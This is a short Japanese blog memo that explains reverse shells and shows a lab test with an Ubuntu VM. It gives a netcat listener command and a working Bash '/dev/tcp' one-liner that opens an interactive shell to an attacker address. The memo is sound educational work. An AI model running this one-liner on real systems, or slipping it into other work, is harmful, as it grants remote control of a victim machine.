Reverse Shellのメモ

Reverse Shellとは、被害者コンピュータから攻撃者のコンピュータに対してシェルを提供する仕組みのこと。
攻撃者コンピュータは被害者コンピュータからの接続を特定のポートで待ち受ける。被害者コンピュータは攻撃者コンピュータの特定のポートに対して接続を行い、シェルを提供する。

NetcatとBashを用いたReverse Shellの例

攻撃者コンピュータは以下のNetcatコマンドで任意のポートをlisten状態にする。

nc -l 8888

上記の例ではポート番号8888をlisten状態にしている。

被害者コンピュータは以下のBashコマンドで攻撃者コンピュータの待ち受けポートに対して接続を行う。

/bin/bash -i >& /dev/tcp/192.168.1.106/8888 0>&1

上記の例では攻撃者コンピュータのIPアドレス192.168.1.106のポート番号8888に対して接続を行い、シェルを提供する。

以下は検証結果。攻撃者コンピュータはMacOS、被害者コンピュータはUbuntu (VM上で起動)。

被害者コンピュータで先述したBashコマンドを起動した直後に攻撃者コンピュータのプロンプトがUbuntuに切り替わり、テスト用のディレクトリとファイルを閲覧しているのが分かる。

参考
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
Practical Malware Analysis (by Michael Sikorski and Andrew Honig) P.232-233
https://tldp.org/LDP/abs/html/devref1.html
https://w0lfram1te.com/exploring-dev-tcp
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Leave a Reply

Your email address will not be published. Required fields are marked *